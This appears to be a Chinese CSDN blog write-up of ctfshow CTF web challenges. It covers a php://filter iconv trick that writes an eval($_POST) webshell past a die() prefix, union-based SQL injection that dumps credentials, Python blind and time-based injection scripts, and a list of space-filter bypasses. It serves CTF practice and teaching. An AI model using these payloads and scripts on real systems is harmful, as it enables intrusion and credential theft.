compress.bzip2和compress.zlib访问的对象可以是任意后缀的文件。
格式:compress.zlib://相对路径或绝对路径
限制条件:

allow_url_fopen :on/off

allow_url_include:on/off

相对路径/绝对路径
利用姿势:

1.读取文件

2.在使用include、require、include_once、require_once时,可将文件当做php脚本执行(一般配合上传文件、写日志等方式getshell)。
————————————————
版权声明:本文为CSDN博主「black guest丶」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/u013797594/article/details/118865974















 
















 
















 

web117

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

·GET传参file 包含文件















 

·POST传参contents   写入一句话木马















 

·过滤了好多啊,加药绕过死亡退出函数

这里不管传什么都会先出现一个<?php die();?>,所以首先要绕过die(),如果file与contents采用base64,rot13之类的”特殊方式“识别,那么<?php die();?>也会因此被特殊化掉,这样他就失去了他的用处,可这里base与rot都被禁掉了,那么就得采用一些与此类似的东西

PHP: 支持的字符编码 - Manual

这里采用UCS-2LE UCS-2BE:将字符两位两位进行交换

因为是两位进行一次反转,所以要尽量保证你的总字符串位数为偶数


















 

<?php
highlight_file(__FILE__);
echo iconv("UCS-2BE","UCS-2LE",'<?php eval($_POST[1]);?>');

 在源码中找到变换后的非正常编码

?<hp pvela$(P_SO[T]1;)>?

接下来将两种编码的位置换一下:
















 



    <?php
    highlight_file(__FILE__);
    echo iconv("UCS-2LE","UCS-2BE",'<?php die();?');
    echo iconv("UCS-2LE","UCS-2BE",'?<hp pvela$(P_SO[T]1;)>?');




    可以看到<?php die();?>被iconv过滤器改变编码后,变成了不正常的php代码,?<hp pid(e;)>?

    而我们不正常的代码变成了正常的一句话木马,从而实现绕过die















 

由于filter没有被过滤,所以可以采用这个伪协议传入文件

 payload:

GET:

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

POST:

contents=?<hp pvela$(P_SO[T]1;)>?
















 

现在,包含一句话木马的a.php已经传入,密钥为post方式的1


然后访问a.php,在POST处执行我们的命令。


















 

​ cat不行就换tac(其实感觉tac更好用一些)

 这道题很综合,很新颖















 

文件包含暂时告一段落啦















 















 

SQL注入

web171(无过滤注入1)

最简单的sql注入,先演示基本操作

payload:














 


    -1' union select 1,2,database() --+     //得到数据库名为ctfshow_web
    -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+     //得到数据表名为ctfshow_user
    -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+      //得到列名为id,username,password
    -1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+


















 















 

web172(无过滤注入2)

使用#

  • 有时发现执行的sql语句中没有#
  • 原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
    所以,HTTP请求中不包括#
  • 将#号改成url的编码%23就可以了

使用--和使用--+

  • 这里发现+号在语句中变成了空格。
    用来和后面的单引号分隔开,将后面的语句注释。

  • 了解原理后便知道了--无法使用的原因,是因为--与后面的单引号连接在一起,无法形成有效的mysql语句

  • 在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合

  • 所以在注入时我们除了使用--+外,也可以使用--'来完成sql注入语句

这道题常使用#但是发现没有--+倒时可以

测试语句:

根据题目提示看到返回的信息不包含flag

利用查看列数。














 


    1' order by 1 --+     //回显正常
    1' order by 2 --+   //回显正常
    1' order by 3 --+  //回显错误


再利用查回显位(第二位)














 

1' union select 1,2--+

爆库名:

1' union select database(),version() --+
















 















 

爆表名

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+

爆数据库属性字段列名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

爆关键敏感数据信息:
1' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+

或许这道题的本意是查询语句中不能有flag
 














 















 

//查询返回的结果不能有flag,可以利用base64或hex绕过
 
 
payload =" 1' union select to_base64(username),to_base64(password) from ctfshow_user2 --+"

得出来的结果再进行解码。

web173


和172相同,都是说查询语句中不能有flag,只不过这道题有三列

1' union select id,hex(username),hex(password) from ctfshow_user3--+

这是参考的payload,他的思想和一般的有些不一样,就是把整个内容都爆出来然后再找flag












 

web174











 












 

 除了不能出现flag,还不能出现数字

应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的..

由于没有回显,这道题大概使用盲目注入

借鉴一下其他博主的答案:

通过抓包,发现关键网站
http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v3.php?page=1&limit=10
但是没有回显,有点懵逼,想到这道题是第四题尝试改为v4.php好家伙有回显了
http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1
之后我想到了利用盲注的方式来读取表格,这里采用了二分法,感兴趣的师傅可以看看我都脚本,这里采用了二分法









 

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


web175

返回逻辑

返回逻辑

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

二分时间盲目注入:

# @Author:Y4tacker
import requests

url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
        try:
            r = requests.get(url + payload, timeout=0.5)
            tail = mid
        except Exception as e:
            head = mid + 1

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)


解法二:解法二很神奇

利用读写文件写入网站根目录
http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/1.txt

原文链接:https://blog.csdn.net/solitudi/article/details/110144623










 









 







 







 







 







 







 







 







 

web176









 

 有过滤

确定是字符型









 

没有回显,我怀疑是有过滤,但是目前不确定是什么过滤,大概率问题出在select或者union上,试了一下双写绕过发现并不可行,试试大小写绕过


发现有回显了,经过测试,猜测是select被过滤了







 

拿到flag

web177(空格过滤)







 

sql注入绕过空格过滤_2021gracedoudou的博客-CSDN博客_sql注入空格绕过

这个链接介绍了两种空格过滤的绕过方式:1、注释过滤2、符号过滤







 

这一道题还有一个奇怪的点就是:--+、#都用不了只能用%23(#的url)





 






 






 






 






 

再继续按顺序.......

最终payload:

1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23


web178(空格绕过2)

SQL注入绕过技巧_不常在河边走的博客-CSDN博客_sql注入绕过




 

原来绕过空格还有很多种方法




 





 

空格绕过
在这里插入图片描述

1.用注释替换空格
select//user,password//from /**/users;
2.空格url编码%20
3.两个空格代替一个空格
4.用Tab代替空格
5.%a0=空格
6.如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
7.回车

 这道题不同于上一道的就是吧/**/给过滤了,所以就不能用、**、绕过空格过滤

这里尝试tab键(URl为%09)

payload:


1'%09union%09select%091,2,3%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23







 






 






 






 






 






 






 







 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值